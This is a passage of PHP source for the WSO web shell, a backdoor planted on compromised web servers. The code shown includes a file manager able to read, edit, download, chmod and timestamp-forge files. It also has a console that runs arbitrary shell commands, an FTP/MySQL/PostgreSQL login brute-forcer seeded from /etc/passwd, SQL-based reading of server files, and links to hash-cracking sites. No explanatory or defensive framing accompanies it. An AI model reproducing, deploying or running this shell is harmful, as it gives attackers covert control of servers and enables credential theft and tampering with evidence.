661 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
662 } elseif($_COOKIE['act'] == 'zip') {
663 if(class_exists('ZipArchive')) {
664 $zip = new ZipArchive();
665 if ($zip->open($_POST['p2'], 1)) {
666 chdir($_COOKIE['c']);
667 foreach($_COOKIE['f'] as $f) {
668 if($f == '..')
669 continue;
670 if(@is_file($_COOKIE['c'].$f))
671 $zip->addFile($_COOKIE['c'].$f, $f);
672 elseif(@is_dir($_COOKIE['c'].$f)) {
673 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
674 foreach ($iterator as $key=>$value) {
675 $zip->addFile(realpath($key), $key);
676 }
677 }
678 }
679 chdir($GLOBALS['cwd']);
680 $zip->close();
681 }
682 }
683 } elseif($_COOKIE['act'] == 'unzip') {
684 if(class_exists('ZipArchive')) {
685 $zip = new ZipArchive();
686 foreach($_COOKIE['f'] as $f) {
687 if($zip->open($_COOKIE['c'].$f)) {
688 $zip->extractTo($GLOBALS['cwd']);
689 $zip->close();
690 }
691 }
692 }
693 } elseif($_COOKIE['act'] == 'tar') {
694 chdir($_COOKIE['c']);
695 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
696 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
697 chdir($GLOBALS['cwd']);
698 }
699 unset($_COOKIE['f']);
700 setcookie('f', '', time() - 3600);
701 break;
702 default:
703 if(!empty($_POST['p1'])) {
704 WSOsetcookie('act', $_POST['p1']);
705 WSOsetcookie('f', serialize(@$_POST['f']));
706 WSOsetcookie('c', @$_POST['c']);
707 }
708 break;
709 }
710 }
711 wsoHeader();
712 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
713 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
714 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
715 global $sort;
716 $sort = array('name', 1);
717 if(!empty($_POST['p1'])) {
718 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
719 $sort = array($match[1], (int)$match[2]);
720 }
721echo "<script>
722 function sa() {
723 for(i=0;i<d.files.elements.length;i++)
724 if(d.files.elements[i].type == 'checkbox')
725 d.files.elements[i].checked = d.files.elements[0].checked;
726 }
727</script>
728<table width='100%' class='main' cellspacing='0' cellpadding='2'>
729<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
730 $dirs = $files = array();
731 $n = count($dirContent);
732 for($i=0;$i<$n;$i++) {
733 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
734 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
735 $tmp = array('name' => $dirContent[$i],
736 'path' => $GLOBALS['cwd'].$dirContent[$i],
737 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
738 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
739 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
740 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
741 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
742 );
743 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
744 $files[] = array_merge($tmp, array('type' => 'file'));
745 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
746 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
747 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
748 $dirs[] = array_merge($tmp, array('type' => 'dir'));
749 }
750 $GLOBALS['sort'] = $sort;
751 function wsoCmp($a, $b) {
752 if($GLOBALS['sort'][0] != 'size')
753 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
754 else
755 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
756 }
757 usort($files, "wsoCmp");
758 usort($dirs, "wsoCmp");
759 $files = array_merge($dirs, $files);
760 $l = 0;
761 foreach($files as $f) {
762 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
763 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
764 $l = $l?0:1;
765 }
766 echo "<tr><td colspan=7>
767 <input type=hidden name=a value='FilesMan'>
768 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
769 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
770 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
771 if(class_exists('ZipArchive'))
772 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
773 echo "<option value='tar'>Compress (tar.gz)</option>";
774 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
775 echo "<option value='paste'>Paste / Compress</option>";
776 echo "</select> ";
777 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
778 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
779 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
780 wsoFooter();
781}
782
783function actionStringTools() {
784 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
785 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
786 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
787 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
788 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
789 $stringTools = array(
790 'Base64 encode' => 'base64_encode',
791 'Base64 decode' => 'base64_decode',
792 'Url encode' => 'urlencode',
793 'Url decode' => 'urldecode',
794 'Full urlencode' => 'full_urlencode',
795 'md5 hash' => 'md5',
796 'sha1 hash' => 'sha1',
797 'crypt' => 'crypt',
798 'CRC32' => 'crc32',
799 'ASCII to HEX' => 'ascii2hex',
800 'HEX to ASCII' => 'hex2ascii',
801 'HEX to DEC' => 'hexdec',
802 'HEX to BIN' => 'hex2bin',
803 'DEC to HEX' => 'dechex',
804 'DEC to BIN' => 'decbin',
805 'BIN to HEX' => 'binhex',
806 'BIN to DEC' => 'bindec',
807 'String to lower case' => 'strtolower',
808 'String to upper case' => 'strtoupper',
809 'Htmlspecialchars' => 'htmlspecialchars',
810 'String length' => 'strlen',
811 );
812 if(isset($_POST['ajax'])) {
813 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
814 ob_start();
815 if(in_array($_POST['p1'], $stringTools))
816 echo $_POST['p1']($_POST['p2']);
817 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
818 echo strlen($temp), "\n", $temp;
819 exit;
820 }
821 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
822 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
823 wsoHeader();
824 echo '<h1>String conversions</h1><div class=content>';
825 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
826 foreach($stringTools as $k => $v)
827 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
828 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
829 if(!empty($_POST['p1'])) {
830 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
831 }
832 echo"</pre></div><br><h1>Search files:</h1><div class=content>
833 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
834 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
835 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
836 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
837 <tr><td></td><td><input type='submit' value='>>'></td></tr>
838 </table></form>";
839
840 function wsoRecursiveGlob($path) {
841 if(substr($path, -1) != '/')
842 $path.='/';
843 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
844 if(is_array($paths)&&@count($paths)) {
845 foreach($paths as $item) {
846 if(@is_dir($item)){
847 if($path!=$item)
848 wsoRecursiveGlob($item);
849 } else {
850 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
851 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
852 }
853 }
854 }
855 }
856 if(@$_POST['p3'])
857 wsoRecursiveGlob($_POST['c']);
858 echo "</div><br><h1>Search for hash:</h1><div class=content>
859 <form method='post' target='_blank' name='hf'>
860 <input type='text' name='hash' style='width:200px;'><br>
861 <input type='hidden' name='act' value='find'/>
862 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
863 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
864 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
865 </form></div>";
866 wsoFooter();
867}
868
869function actionFilesTools() {
870 if( isset($_POST['p1']) )
871 $_POST['p1'] = urldecode($_POST['p1']);
872 if(@$_POST['p2']=='download') {
873 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
874 ob_start("ob_gzhandler", 4096);
875 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
876 if (function_exists("mime_content_type")) {
877 $type = @mime_content_type($_POST['p1']);
878 header("Content-Type: " . $type);
879 } else
880 header("Content-Type: application/octet-stream");
881 $fp = @fopen($_POST['p1'], "r");
882 if($fp) {
883 while(!@feof($fp))
884 echo @fread($fp, 1024);
885 fclose($fp);
886 }
887 }exit;
888 }
889 if( @$_POST['p2'] == 'mkfile' ) {
890 if(!file_exists($_POST['p1'])) {
891 $fp = @fopen($_POST['p1'], 'w');
892 if($fp) {
893 $_POST['p2'] = "edit";
894 fclose($fp);
895 }
896 }
897 }
898 wsoHeader();
899 echo '<h1>File tools</h1><div class=content>';
900 if( !file_exists(@$_POST['p1']) ) {
901 echo 'File not exists';
902 wsoFooter();
903 return;
904 }
905 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
906 if(!$uid) {
907 $uid['name'] = @fileowner($_POST['p1']);
908 $gid['name'] = @filegroup($_POST['p1']);
909 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
910 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
911 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
912 if( empty($_POST['p2']) )
913 $_POST['p2'] = 'view';
914 if( is_file($_POST['p1']) )
915 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
916 else
917 $m = array('Chmod', 'Rename', 'Touch');
918 foreach($m as $v)
919 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
920 echo '<br><br>';
921 switch($_POST['p2']) {
922 case 'view':
923 echo '<pre class=ml1>';
924 $fp = @fopen($_POST['p1'], 'r');
925 if($fp) {
926 while( !@feof($fp) )
927 echo htmlspecialchars(@fread($fp, 1024));
928 @fclose($fp);
929 }
930 echo '</pre>';
931 break;
932 case 'highlight':
933 if( @is_readable($_POST['p1']) ) {
934 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
935 $code = @highlight_file($_POST['p1'],true);
936 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
937 }
938 break;
939 case 'chmod':
940 if( !empty($_POST['p3']) ) {
941 $perms = 0;
942 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
943 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
944 if(!@chmod($_POST['p1'], $perms))
945 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
946 }
947 clearstatcache();
948 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
949 break;
950 case 'edit':
951 if( !is_writable($_POST['p1'])) {
952 echo 'File isn\'t writeable';
953 break;
954 }
955 if( !empty($_POST['p3']) ) {
956 $time = @filemtime($_POST['p1']);
957 $_POST['p3'] = substr($_POST['p3'],1);
958 $fp = @fopen($_POST['p1'],"w");
959 if($fp) {
960 @fwrite($fp,$_POST['p3']);
961 @fclose($fp);
962 echo 'Saved!<br><script>p3_="";</script>';
963 @touch($_POST['p1'],$time,$time);
964 }
965 }
966 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
967 $fp = @fopen($_POST['p1'], 'r');
968 if($fp) {
969 while( !@feof($fp) )
970 echo htmlspecialchars(@fread($fp, 1024));
971 @fclose($fp);
972 }
973 echo '</textarea><input type=submit value=">>"></form>';
974 break;
975 case 'hexdump':
976 $c = @file_get_contents($_POST['p1']);
977 $n = 0;
978 $h = array('00000000<br>','','');
979 $len = strlen($c);
980 for ($i=0; $i<$len; ++$i) {
981 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
982 switch ( ord($c[$i]) ) {
983 case 0: $h[2] .= ' '; break;
984 case 9: $h[2] .= ' '; break;
985 case 10: $h[2] .= ' '; break;
986 case 13: $h[2] .= ' '; break;
987 default: $h[2] .= $c[$i]; break;
988 }
989 $n++;
990 if ($n == 32) {
991 $n = 0;
992 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
993 $h[1] .= '<br>';
994 $h[2] .= "\n";
995 }
996 }
997 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
998 break;
999 case 'rename':
1000 if( !empty($_POST['p3']) ) {
1001 if(!@rename($_POST['p1'], $_POST['p3']))
1002 echo 'Can\'t rename!<br>';
1003 else
1004 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1005 }
1006 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1007 break;
1008 case 'touch':
1009 if( !empty($_POST['p3']) ) {
1010 $time = strtotime($_POST['p3']);
1011 if($time) {
1012 if(!touch($_POST['p1'],$time,$time))
1013 echo 'Fail!';
1014 else
1015 echo 'Touched!';
1016 } else echo 'Bad time format!';
1017 }
1018 clearstatcache();
1019 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1020 break;
1021 }
1022 echo '</div>';
1023 wsoFooter();
1024}
1025
1026function actionConsole() {
1027 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1028 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1029 $_POST['p1'] .= ' 2>&1';
1030 } elseif(!empty($_POST['p1']))
1031 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1032
1033 if(isset($_POST['ajax'])) {
1034 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1035 ob_start();
1036 echo "d.cf.cmd.value='';\n";
1037 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1038 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1039 if(@chdir($match[1])) {
1040 $GLOBALS['cwd'] = @getcwd();
1041 echo "c_='".$GLOBALS['cwd']."';";
1042 }
1043 }
1044 echo "d.cf.output.value+='".$temp."';";
1045 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1046 $temp = ob_get_clean();
1047 echo strlen($temp), "\n", $temp;
1048 exit;
1049 }
1050 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1051 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1052 wsoHeader();
1053 echo "<script>
1054if(window.Event) window.captureEvents(Event.KEYDOWN);
1055var cmds = new Array('');
1056var cur = 0;
1057function kp(e) {
1058 var n = (window.Event) ? e.which : e.keyCode;
1059 if(n == 38) {
1060 cur--;
1061 if(cur>=0)
1062 document.cf.cmd.value = cmds[cur];
1063 else
1064 cur++;
1065 } else if(n == 40) {
1066 cur++;
1067 if(cur < cmds.length)
1068 document.cf.cmd.value = cmds[cur];
1069 else
1070 cur--;
1071 }
1072}
1073function add(cmd) {
1074 cmds.pop();
1075 cmds.push(cmd);
1076 cmds.push('');
1077 cur = cmds.length-1;
1078}
1079</script>";
1080 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1081 foreach($GLOBALS['aliases'] as $n => $v) {
1082 if($v == '') {
1083 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1084 continue;
1085 }
1086 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1087 }
1088
1089 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1090 if(!empty($_POST['p1'])) {
1091 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1092 }
1093 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1094 echo '</form></div><script>d.cf.cmd.focus();</script>';
1095 wsoFooter();
1096}
1097
1098function actionLogout() {
1099 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1100 die('bye!');
1101}
1102
1103function actionSelfRemove() {
1104
1105 if($_POST['p1'] == 'yes')
1106 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1107 die('Shell has been removed');
1108 else
1109 echo 'unlink error!';
1110 if($_POST['p1'] != 'yes')
1111 wsoHeader();
1112 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1113 wsoFooter();
1114}
1115
1116function actionBruteforce() {
1117 wsoHeader();
1118 if( isset($_POST['proto']) ) {
1119 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1120 if( $_POST['proto'] == 'ftp' ) {
1121 function wsoBruteForce($ip,$port,$login,$pass) {
1122 $fp = @ftp_connect($ip, $port?$port:21);
1123 if(!$fp) return false;
1124 $res = @ftp_login($fp, $login, $pass);
1125 @ftp_close($fp);
1126 return $res;
1127 }
1128 } elseif( $_POST['proto'] == 'mysql' ) {
1129 function wsoBruteForce($ip,$port,$login,$pass) {
1130 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1131 @mysql_close($res);
1132 return $res;
1133 }
1134 } elseif( $_POST['proto'] == 'pgsql' ) {
1135 function wsoBruteForce($ip,$port,$login,$pass) {
1136 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1137 $res = @pg_connect($str);
1138 @pg_close($res);
1139 return $res;
1140 }
1141 }
1142 $success = 0;
1143 $attempts = 0;
1144 $server = explode(":", $_POST['server']);
1145 if($_POST['type'] == 1) {
1146 $temp = @file('/etc/passwd');
1147 if( is_array($temp) )
1148 foreach($temp as $line) {
1149 $line = explode(":", $line);
1150 ++$attempts;
1151 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1152 $success++;
1153 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1154 }
1155 if(@$_POST['reverse']) {
1156 $tmp = "";
1157 for($i=strlen($line[0])-1; $i>=0; --$i)
1158 $tmp .= $line[0][$i];
1159 ++$attempts;
1160 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1161 $success++;
1162 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1163 }
1164 }
1165 }
1166 } elseif($_POST['type'] == 2) {
1167 $temp = @file($_POST['dict']);
1168 if( is_array($temp) )
1169 foreach($temp as $line) {
1170 $line = trim($line);
1171 ++$attempts;
1172 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1173 $success++;
1174 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1175 }
1176 }
1177 }
1178 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1179 }
1180 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1181 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1182 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1183 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1184 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1185 .'<span>Server:port</span></td>'
1186 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1187 .'<tr><td><span>Brute type</span></td>'
1188 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1189 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1190 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1191 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1192 .'<td><input type=text name=login value="root"></td></tr>'
1193 .'<tr><td><span>Dictionary</span></td>'
1194 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1195 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1196 echo '</div><br>';
1197 wsoFooter();
1198}
1199
1200function actionSql() {
1201 class DbClass {
1202 var $type;
1203 var $link;
1204 var $res;
1205 function DbClass($type) {
1206 $this->type = $type;
1207 }
1208 function connect($host, $user, $pass, $dbname){
1209 switch($this->type) {
1210 case 'mysql':
1211 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1212 break;
1213 case 'pgsql':
1214 $host = explode(':', $host);
1215 if(!$host[1]) $host[1]=5432;
1216 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1217 break;
1218 }
1219 return false;
1220 }
1221 function selectdb($db) {
1222 switch($this->type) {
1223 case 'mysql':
1224 if (@mysql_select_db($db))return true;
1225 break;
1226 }
1227 return false;
1228 }
1229 function query($str) {
1230 switch($this->type) {
1231 case 'mysql':
1232 return $this->res = @mysql_query($str);
1233 break;
1234 case 'pgsql':
1235 return $this->res = @pg_query($this->link,$str);
1236 break;
1237 }
1238 return false;
1239 }
1240 function fetch() {
1241 $res = func_num_args()?func_get_arg(0):$this->res;
1242 switch($this->type) {
1243 case 'mysql':
1244 return @mysql_fetch_assoc($res);
1245 break;
1246 case 'pgsql':
1247 return @pg_fetch_assoc($res);
1248 break;
1249 }
1250 return false;
1251 }
1252 function listDbs() {
1253 switch($this->type) {
1254 case 'mysql':
1255 return $this->query("SHOW databases");
1256 break;
1257 case 'pgsql':
1258 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1259 break;
1260 }
1261 return false;
1262 }
1263 function listTables() {
1264 switch($this->type) {
1265 case 'mysql':
1266 return $this->res = $this->query('SHOW TABLES');
1267 break;
1268 case 'pgsql':
1269 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1270 break;
1271 }
1272 return false;
1273 }
1274 function error() {
1275 switch($this->type) {
1276 case 'mysql':
1277 return @mysql_error();
1278 break;
1279 case 'pgsql':
1280 return @pg_last_error();
1281 break;
1282 }
1283 return false;
1284 }
1285 function setCharset($str) {
1286 switch($this->type) {
1287 case 'mysql':
1288 if(function_exists('mysql_set_charset'))
1289 return @mysql_set_charset($str, $this->link);
1290 else
1291 $this->query('SET CHARSET '.$str);
1292 break;
1293 case 'pgsql':
1294 return @pg_set_client_encoding($this->link, $str);
1295 break;
1296 }
1297 return false;
1298 }
1299 function loadFile($str) {
1300 switch($this->type) {
1301 case 'mysql':
1302 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1303 break;
1304 case 'pgsql':
1305 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1306 $r=array();
1307 while($i=$this->fetch())
1308 $r[] = $i['file'];
1309 $this->query('drop table wso2');
1310 return array('file'=>implode("\n",$r));
1311 break;
1312 }
1313 return false;
1314 }
1315 function dump($table, $fp = false) {
1316 switch($this->type) {
1317 case 'mysql':
1318 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1319 $create = mysql_fetch_array($res);
1320 $sql = $create[1].";\n";
1321 if($fp) fwrite($fp, $sql); else echo($sql);
1322 $this->query('SELECT * FROM `'.$table.'`');
1323 $i = 0;
